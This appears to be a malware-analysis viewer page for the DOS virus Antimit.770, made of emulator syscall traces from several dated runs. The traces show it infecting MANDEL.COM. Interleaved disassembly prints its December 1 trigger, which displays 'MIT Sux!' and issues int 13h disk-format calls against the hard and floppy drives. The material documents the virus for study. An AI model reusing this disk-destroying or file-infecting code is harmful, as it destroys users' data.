Sample viewer

vx.netlux.org/Virus.DOS.Antimit.770

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:54:39.372350944Z 25 PC: 12a5c | Get default drive
2018-12-17T21:54:39.373891514Z 14 PC: 12a62 | Set default drive (Drive = 'Õ')
2018-12-17T21:54:39.375108527Z 42 PC: 12a97 | Get date 0x12a97: cmp dh, 0xc
0x12a9a: jne 0x12ac2
0x12a9c: cmp dl, 1
0x12a9f: jne 0x12ac2
0x12aa1: mov dx, 0x12a
0x12aa4: mov ah, 9
0x12aa6: int 0x21
0x12aa8: mov ah, 5
0x12aaa: mov al, 2
0x12aac: mov ch, 0
0x12aae: mov dh, 0
0x12ab0: mov dl, 0x80
0x12ab2: int 0x13
0x12ab4: mov ah, 6
0x12ab6: int 0x13
0x12ab8: mov ah, 5
0x12aba: mov dl, 0
0x12abc: int 0x13
0x12abe: mov ah, 0x4c
0x12ac0: int 0x21
2018-12-17T21:54:39.37742286Z 53 PC: 12ad4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T21:54:39.379251893Z 37 PC: 12ae5 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T21:54:39.380392982Z 26 PC: 12af2 | Set disk transfer address
2018-12-17T21:54:39.381501738Z 78 PC: 12afc | Find first file
2018-12-17T21:54:39.387997352Z 79 PC: 12b22 | Find next file
2018-12-17T21:54:39.391071585Z 79 PC: 12b22 | Find next file
2018-12-17T21:54:39.394088031Z 79 PC: 12b22 | Find next file
2018-12-17T21:54:39.397728718Z 79 PC: 12b22 | Find next file
2018-12-17T21:54:39.400643758Z 79 PC: 12b22 | Find next file
2018-12-17T21:54:39.403252393Z 67 PC: 12b49 | Get or set file attributes
2018-12-17T21:54:39.406850054Z 67 PC: 12b53 | Get or set file attributes
2018-12-17T21:54:39.421687505Z 61 PC: 12b58 | Open file (Filename = 'MANDEL.COM')
2018-12-17T21:54:39.426001824Z 87 PC: 12b61 | Get or set file date and time
2018-12-17T21:54:39.427004196Z 63 PC: 12b73 | Read file or device (Read 479 bytes on handle 5)
2018-12-17T21:54:39.433249573Z 66 PC: 12b84 | Move file pointer
2018-12-17T21:54:39.434674709Z 64 PC: 12b95 | Write file or device (Write 291 bytes on handle 5)
2018-12-17T21:54:39.442958025Z 64 PC: 12ba6 | Write file or device (Write 479 bytes on handle 5)
2018-12-17T21:54:39.450724887Z 66 PC: 12bb7 | Move file pointer
2018-12-17T21:54:39.452216834Z 44 PC: 12bbd | Get time 0x12bbd: mov byte ptr [0x107], dh
0x12bc1: call 0x22a48
0x12bc4: mov ah, 0x40
0x12bc6: mov dx, 0x100
0x12bc9: mov cx, 0x1df
0x12bcc: int 0x21
0x12bce: jb 0x12c12
0x12bd0: cmp ax, 0x1df
0x12bd3: jne 0x12c12
0x12bd5: jmp 0x12be3
0x12bd7: nop
0x12bd8: mov al, 0
0x12bda: iret
0x12bdb: sub byte ptr [di + 0x4d88], cl
0x12bdf: push bp
0x12be0: add word ptr [bx + 0x11], dx
0x12be3: mov ax, 0x5701
0x12be6: mov cx, word ptr [0x29b]
0x12bea: mov dx, word ptr [0x29d]
0x12bee: and cl, 0xe0
2018-12-17T21:54:39.454379115Z 25 PC: 12a5c | Get default drive
2018-12-17T21:54:39.455447574Z 14 PC: 12a62 | Set default drive (Drive = '‡')
2018-12-17T21:54:39.466071387Z 64 PC: 12bce | Write file or device (Write 479 bytes on handle 5)
2018-12-17T21:54:39.47272444Z 87 PC: 12bf6 | Get or set file date and time
2018-12-17T21:54:39.474223307Z 62 PC: 12bfa | Close file
2018-12-17T21:54:39.482419226Z 26 PC: 12c01 | Set disk transfer address
2018-12-17T21:54:39.483495454Z 37 PC: 12c11 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T21:54:39.485185228Z 76 PC: 12c51 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":12,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":504,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:40:59.747015303Z 25 PC: 12a5c | Get default drive
2018-12-25T11:40:59.749340697Z 14 PC: 12a62 | Set default drive (Drive = 'Õ')
2018-12-25T11:40:59.750442597Z 42 PC: 12a97 | Get date 0x12a97: cmp dh, 0xc
0x12a9a: jne 0x12ac2
0x12a9c: cmp dl, 1
0x12a9f: jne 0x12ac2
0x12aa1: mov dx, 0x12a
0x12aa4: mov ah, 9
0x12aa6: int 0x21
0x12aa8: mov ah, 5
0x12aaa: mov al, 2
0x12aac: mov ch, 0
0x12aae: mov dh, 0
0x12ab0: mov dl, 0x80
0x12ab2: int 0x13
0x12ab4: mov ah, 6
0x12ab6: int 0x13
0x12ab8: mov ah, 5
0x12aba: mov dl, 0
0x12abc: int 0x13
0x12abe: mov ah, 0x4c
0x12ac0: int 0x21
2018-12-25T11:40:59.752456778Z 9 PC: 12aa8 | Display string (String= 'MIT Sux! ')
2018-12-25T11:40:59.75831203Z 76 PC: 12ac2 | Terminate with return code (Return code = '2')

{"DateBased":true,"Day":2,"Month":12,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":504,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:02.075946855Z 25 PC: 12a5c | Get default drive
2018-12-25T11:41:02.077557566Z 14 PC: 12a62 | Set default drive (Drive = 'Õ')
2018-12-25T11:41:02.078723606Z 42 PC: 12a97 | Get date 0x12a97: cmp dh, 0xc
0x12a9a: jne 0x12ac2
0x12a9c: cmp dl, 1
0x12a9f: jne 0x12ac2
0x12aa1: mov dx, 0x12a
0x12aa4: mov ah, 9
0x12aa6: int 0x21
0x12aa8: mov ah, 5
0x12aaa: mov al, 2
0x12aac: mov ch, 0
0x12aae: mov dh, 0
0x12ab0: mov dl, 0x80
0x12ab2: int 0x13
0x12ab4: mov ah, 6
0x12ab6: int 0x13
0x12ab8: mov ah, 5
0x12aba: mov dl, 0
0x12abc: int 0x13
0x12abe: mov ah, 0x4c
0x12ac0: int 0x21
2018-12-25T11:41:02.080746526Z 53 PC: 12ad4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:41:02.083594917Z 37 PC: 12ae5 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:41:02.084642797Z 26 PC: 12af2 | Set disk transfer address
2018-12-25T11:41:02.085620736Z 78 PC: 12afc | Find first file
2018-12-25T11:41:02.092309544Z 79 PC: 12b22 | Find next file
2018-12-25T11:41:02.096507266Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.099308937Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.102000697Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.105725477Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.108508298Z 67 PC: 12b49 | Get or set file attributes
2018-12-25T11:41:02.114145519Z 67 PC: 12b53 | Get or set file attributes
2018-12-25T11:41:02.130619219Z 61 PC: 12b58 | Open file (Filename = 'MANDEL.COM')
2018-12-25T11:41:02.137373352Z 87 PC: 12b61 | Get or set file date and time
2018-12-25T11:41:02.139494492Z 63 PC: 12b73 | Read file or device (Read 479 bytes on handle 5)
2018-12-25T11:41:02.146139755Z 66 PC: 12b84 | Move file pointer
2018-12-25T11:41:02.147157621Z 64 PC: 12b95 | Write file or device (Write 291 bytes on handle 5)
2018-12-25T11:41:02.152428409Z 64 PC: 12ba6 | Write file or device (Write 479 bytes on handle 5)
2018-12-25T11:41:02.157970894Z 66 PC: 12bb7 | Move file pointer
2018-12-25T11:41:02.159066501Z 44 PC: 12bbd | Get time 0x12bbd: mov byte ptr [0x107], dh
0x12bc1: call 0x22a48
0x12bc4: mov ah, 0x40
0x12bc6: mov dx, 0x100
0x12bc9: mov cx, 0x1df
0x12bcc: int 0x21
0x12bce: jb 0x12c12
0x12bd0: cmp ax, 0x1df
0x12bd3: jne 0x12c12
0x12bd5: jmp 0x12be3
0x12bd7: nop
0x12bd8: mov al, 0
0x12bda: iret
0x12bdb: sub byte ptr [di + 0x4d88], cl
0x12bdf: push bp
0x12be0: add word ptr [bx + 0x11], dx
0x12be3: mov ax, 0x5701
0x12be6: mov cx, word ptr [0x29b]
0x12bea: mov dx, word ptr [0x29d]
0x12bee: and cl, 0xe0
2018-12-25T11:41:02.16058912Z 25 PC: 12a5c | Get default drive (See above)
2018-12-25T11:41:02.161815936Z 14 PC: 12a62 | Set default drive (See above)
2018-12-25T11:41:02.175327141Z 64 PC: 12bce | Write file or device (Write 479 bytes on handle 5)
2018-12-25T11:41:02.181714893Z 87 PC: 12bf6 | Get or set file date and time
2018-12-25T11:41:02.183228292Z 62 PC: 12bfa | Close file
2018-12-25T11:41:02.190824857Z 26 PC: 12c01 | Set disk transfer address
2018-12-25T11:41:02.191715208Z 37 PC: 12c11 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:41:02.193481756Z 76 PC: 12c51 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":504,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:02.90280996Z 25 PC: 12a5c | Get default drive
2018-12-25T11:41:02.904688703Z 14 PC: 12a62 | Set default drive (Drive = 'Õ')
2018-12-25T11:41:02.906008589Z 42 PC: 12a97 | Get date 0x12a97: cmp dh, 0xc
0x12a9a: jne 0x12ac2
0x12a9c: cmp dl, 1
0x12a9f: jne 0x12ac2
0x12aa1: mov dx, 0x12a
0x12aa4: mov ah, 9
0x12aa6: int 0x21
0x12aa8: mov ah, 5
0x12aaa: mov al, 2
0x12aac: mov ch, 0
0x12aae: mov dh, 0
0x12ab0: mov dl, 0x80
0x12ab2: int 0x13
0x12ab4: mov ah, 6
0x12ab6: int 0x13
0x12ab8: mov ah, 5
0x12aba: mov dl, 0
0x12abc: int 0x13
0x12abe: mov ah, 0x4c
0x12ac0: int 0x21
2018-12-25T11:41:02.908168012Z 53 PC: 12ad4 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:41:02.909929186Z 37 PC: 12ae5 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:41:02.911006046Z 26 PC: 12af2 | Set disk transfer address
2018-12-25T11:41:02.912042882Z 78 PC: 12afc | Find first file
2018-12-25T11:41:02.918193092Z 79 PC: 12b22 | Find next file
2018-12-25T11:41:02.920668827Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.922998315Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.925560971Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.928652762Z 79 PC: 12b22 | Find next file (See above)
2018-12-25T11:41:02.931109859Z 67 PC: 12b49 | Get or set file attributes
2018-12-25T11:41:02.937347161Z 67 PC: 12b53 | Get or set file attributes
2018-12-25T11:41:02.954329111Z 61 PC: 12b58 | Open file (Filename = 'MANDEL.COM')
2018-12-25T11:41:02.961335481Z 87 PC: 12b61 | Get or set file date and time
2018-12-25T11:41:02.963145806Z 63 PC: 12b73 | Read file or device (Read 479 bytes on handle 5)
2018-12-25T11:41:02.970660734Z 66 PC: 12b84 | Move file pointer
2018-12-25T11:41:02.972452979Z 64 PC: 12b95 | Write file or device (Write 291 bytes on handle 5)
2018-12-25T11:41:02.980819718Z 64 PC: 12ba6 | Write file or device (Write 479 bytes on handle 5)
2018-12-25T11:41:02.990221504Z 66 PC: 12bb7 | Move file pointer
2018-12-25T11:41:02.992570103Z 44 PC: 12bbd | Get time 0x12bbd: mov byte ptr [0x107], dh
0x12bc1: call 0x22a48
0x12bc4: mov ah, 0x40
0x12bc6: mov dx, 0x100
0x12bc9: mov cx, 0x1df
0x12bcc: int 0x21
0x12bce: jb 0x12c12
0x12bd0: cmp ax, 0x1df
0x12bd3: jne 0x12c12
0x12bd5: jmp 0x12be3
0x12bd7: nop
0x12bd8: mov al, 0
0x12bda: iret
0x12bdb: sub byte ptr [di + 0x4d88], cl
0x12bdf: push bp
0x12be0: add word ptr [bx + 0x11], dx
0x12be3: mov ax, 0x5701
0x12be6: mov cx, word ptr [0x29b]
0x12bea: mov dx, word ptr [0x29d]
0x12bee: and cl, 0xe0
2018-12-25T11:41:02.995924293Z 25 PC: 12a5c | Get default drive (See above)
2018-12-25T11:41:02.997909431Z 14 PC: 12a62 | Set default drive (See above)
2018-12-25T11:41:02.999991555Z 64 PC: 12bce | Write file or device (Write 479 bytes on handle 5)
2018-12-25T11:41:03.006714015Z 87 PC: 12bf6 | Get or set file date and time
2018-12-25T11:41:03.00877986Z 62 PC: 12bfa | Close file
2018-12-25T11:41:03.016703053Z 26 PC: 12c01 | Set disk transfer address
2018-12-25T11:41:03.017779153Z 37 PC: 12c11 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:41:03.020162964Z 76 PC: 12c51 | Terminate with return code (Return code = '0')